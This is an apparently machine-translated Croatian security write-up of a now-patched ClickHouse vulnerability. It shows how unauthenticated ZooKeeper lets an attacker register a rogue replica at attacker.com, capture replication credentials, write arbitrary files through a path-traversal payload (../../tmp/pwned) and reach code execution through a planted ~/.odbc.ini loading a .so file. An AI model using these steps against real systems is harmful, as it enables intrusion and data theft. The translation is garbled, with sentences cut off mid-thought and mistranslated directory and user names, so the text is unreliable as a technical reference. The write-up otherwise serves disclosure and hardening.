Ovaj će članak ispričati priču o vrlo specifičnoj ranjivosti u ClickHouse replikacijskom protokolu, a također će pokazati kako se površina napada može proširiti.
ClickHouse je baza podataka za pohranu velikih količina podataka, najčešće koristeći više od jedne replike. Klasteriranje i replikacija u ClickHouseu izgrađeni su na vrhu
Zadana ZK instalacija ne zahtijeva provjeru autentičnosti, tako da su tisuće ZK poslužitelja koji se koriste za konfiguraciju Kafka, Hadoop, ClickHouse javno dostupni.
Kako biste smanjili svoju površinu napada, uvijek biste trebali konfigurirati autentifikaciju i autorizaciju kada instalirate ZooKeeper
Naravno, postoje neke Java deserijalizacije temeljene na 0 dana, ali zamislite da bi napadač mogao čitati i pisati u ZooKeeper, koji se koristi za replikaciju ClickHousea.
Kada je konfiguriran u načinu klastera, ClickHouse podržava distribuirane upite /clickhouse/task_queue/ddl
.
Na primjer, stvorite čvor /clickhouse/task_queue/ddl/query-0001
sa sadržajem:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
a nakon toga će se testna tablica izbrisati na poslužiteljima klastera host1 i host2. DDL također podržava pokretanje CREATE/ALTER/DROP upita.
Zvuči zastrašujuće? Ali gdje napadač može dobiti adrese poslužitelja?
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
stvorit će se čvorovi stupovi и metapodataka.
sadržaj /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Je li moguće spojiti podatke iz ovog klastera? Da, ako port replikacije (TCP/9009
) na poslužitelju chXX-address
vatrozid se neće zatvoriti i provjera autentičnosti za replikaciju neće biti konfigurirana. Kako zaobići autentifikaciju?
Napadač može kreirati novu repliku u ZK jednostavnim kopiranjem sadržaja iz /clickhouse/tables/01-01/foobar/replicas/chXX
i mijenjanje značenja host
.
sadržaj /clickhouse/tables/01–01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Zatim trebate reći ostalim replikama da na napadačevom poslužitelju postoji novi blok podataka koji trebaju preuzeti - stvara se čvor u ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX
(XX monotono rastući brojač, koji bi trebao biti veći od zadnjeg u dnevniku događaja):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
gdje izvorna_replika — ime replike napadača stvorene u prethodnom koraku, block_id — identifikator bloka podataka, dobiti - naredba "get block" (i
Zatim svaka replika čita novi događaj u zapisniku i odlazi na poslužitelj kojim upravlja napadač kako bi primio blok podataka (protokol replikacije je binarni, radi povrh HTTP-a). poslužitelj attacker.com
primat će zahtjeve:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
gdje je XXX autentifikacijski podatak za replikaciju. U nekim slučajevima to može biti račun s pristupom bazi podataka putem glavnog ClickHouse protokola i HTTP protokola. Kao što ste vidjeli, površina napada postaje kritično velika jer je ZooKeeper, korišten za replikaciju, ostao bez konfigurirane autentifikacije.
Pogledajmo funkciju dobivanja bloka podataka iz replike, napisano je s punim povjerenjem da su sve replike pod odgovarajućom kontrolom i da među njima postoji povjerenje.
kod za obradu replikacije
Funkcija čita popis datoteka, zatim njihova imena, veličine, sadržaj i zatim ih zapisuje u datotečni sustav. Vrijedno je posebno opisati kako se podaci pohranjuju u datotečni sustav.
Postoji nekoliko poddirektorija u /var/lib/clickhouse
(zadani direktorij za pohranu iz konfiguracijske datoteke):
zastave - imenik za snimanje
tmp — direktorij za pohranjivanje privremenih datoteka;
korisničke_datoteke — operacije s datotekama u zahtjevima ograničene su na ovaj direktorij (INTO OUTFILE i drugi);
metapodataka — sql datoteke s opisima tablica;
preprocessed_configs - obrađene izvedene konfiguracijske datoteke iz /etc/clickhouse-server
;
datum - stvarni direktorij sa samim podacima, u ovom slučaju za svaku bazu podataka ovdje se jednostavno kreira zasebni poddirektorij (npr. /var/lib/clickhouse/data/default
).
Za svaku tablicu kreira se poddirektorij u direktoriju baze podataka. Svaki stupac je zasebna datoteka ovisno o
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
Replika očekuje da će primiti datoteke s istim nazivima prilikom obrade bloka podataka i ni na koji način ih ne potvrđuje.
Pažljivi čitatelj vjerojatno je već čuo o nesigurnom ulančavanju file_name u funkciji WriteBufferFromFile
. Da, ovo napadaču omogućuje pisanje proizvoljnog sadržaja u bilo koju datoteku na FS-u s korisničkim pravima clickhouse
. Da bi to učinili, replika koju kontrolira napadač mora vratiti sljedeći odgovor na zahtjev (dodani su prekidi retka radi lakšeg razumijevanja):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
a nakon ulančavanja ../../../../../../../../../tmp/pwned
datoteka će biti zapisana /tmp/pwned sa sadržajem hellofromzookeeper.
Postoji nekoliko opcija za pretvaranje mogućnosti pisanja datoteke u daljinsko izvršavanje koda (RCE).
Vanjski rječnici u RCE
U starijim verzijama direktorij s postavkama ClickHousea bio je pohranjen s korisničkim pravima klikanica zadano. Datoteke s postavkama su XML datoteke koje servis čita pri pokretanju i zatim sprema u predmemoriju /var/lib/clickhouse/preprocessed_configs
. Kada dođe do promjena, one se ponovno čitaju. Ako imate pristup /etc/clickhouse-server
napadač može stvoriti vlastitu root
.
ODBC u RCE
Prilikom instaliranja paketa kreira se korisnik clickhouse
, ali njegov matični direktorij nije kreiran /nonexistent
. Međutim, kada koristite vanjske rječnike ili iz drugih razloga, administratori stvaraju imenik /nonexistent
i dati korisniku clickhouse
pristup za pisanje na njega (SSZB! cca. prevoditelj).
ClickHouse podržava odbc-bridge
, pa više nije moguće navesti putanju upravljačkog programa iz zahtjeva. Ali može li napadač pisati u matični direktorij koristeći gore opisanu ranjivost?
Kreirajmo datoteku ~/.odbc.ini
sa ovakvim sadržajem:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
zatim pri pokretanju SELECT * FROM odbc('DSN=lalala', 'test', 'test');
knjižnica će se učitati test.so
i dobio RCE (hvala
Ove i druge ranjivosti popravljene su u ClickHouse verziji 19.14.3. Čuvajte svoje ClickHouse i ZooKeepers!
Izvor: www.habr.com